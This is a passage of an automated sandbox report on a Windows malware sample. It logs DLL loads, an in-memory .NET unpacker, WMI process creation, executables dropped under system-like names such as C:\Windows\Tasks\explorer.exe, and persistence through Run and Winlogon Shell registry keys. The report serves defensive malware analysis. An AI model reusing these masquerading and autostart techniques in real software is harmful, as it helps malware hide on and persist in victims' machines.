Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 01YP9Lwum8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 01YP9Lwum8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.pdb source: 01YP9Lwum8.exe, 00000000.00000002.1840009757.0000000003201000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 01YP9Lwum8.exe, sgG.cs	.Net Code: method_0 System.Reflection.Assembly.Load(byte[])
Source: 01YP9Lwum8.exe, Class4.cs	.Net Code: H86

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8BFB02 pushad ; ret		0_2_00007FFD9B8BFB03
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8B8163 push ebx; ret		0_2_00007FFD9B8B816A

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File created: C:\Windows\Tasks\explorer.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown	Executable created and started: C:\Windows\Tasks\explorer.exe
Source: unknown	Executable created and started: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\lqHRDSoi.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\IWZmSUOS.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\qKxhyytD.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\gWTqOnyV.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\GxmnOonm.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\ozbgygOD.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Tasks\explorer.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\FQJMKusv.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\WdtCbgnJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\znGWisJl.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\MMQdZROL.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\TegMjxUT.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\UKABrbpL.log	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Tasks\explorer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Jump to dropped file

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\MMQdZROL.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\IWZmSUOS.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\znGWisJl.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\qKxhyytD.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\ozbgygOD.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Users\user\Desktop\gWTqOnyV.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\FQJMKusv.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\UKABrbpL.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\lqHRDSoi.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\TegMjxUT.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\GxmnOonm.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	File created: C:\Users\user\Desktop\WdtCbgnJ.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File created: C:\Windows\Tasks\explorer.exe

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 01YP9Lwum8	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IMiOGCAyeLWFuBBcn	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
